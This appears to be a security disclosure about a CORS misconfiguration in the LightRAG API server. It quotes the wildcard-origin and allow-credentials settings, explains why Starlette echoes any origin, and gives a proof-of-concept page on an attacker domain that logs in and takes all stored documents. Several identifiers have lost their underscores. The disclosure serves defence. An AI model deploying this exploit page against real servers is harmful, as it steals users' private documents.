# lightrag/api/config.py:639
args.cors origins = get env value("CORS ORIGINS", "*") # default wildcard

# lightrag/api/lightrag server.py:1379
app.add middleware(
  CORSMiddleware,
  allow origins=["*"],    # any origin
  allow credentials=True,  # credentials — PROBLEM with wildcard
  allow methods=["*"],
  allow headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight explicit allow origin = not allow all origins or allow credentials
# = not True or True = True → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
 // Get victim token (or re-use existing session)
 const r1 = await fetch(`${TARGET}/login`, {
  method: "POST", credentials: "include",
  headers: {"Content-Type": "application/x-www-form-urlencoded"},
  body: "username=victim&password=known pass"
 });
 const { access token } = await r1.json();

 // Exfiltrate all documents
 const docs = await (await fetch(`${TARGET}/documents`, {
  credentials: "include",
  headers: { Authorization: `Bearer ${access token}` }
 })).json();
 console.log("STOLEN DOCS:", docs);
})();
</script>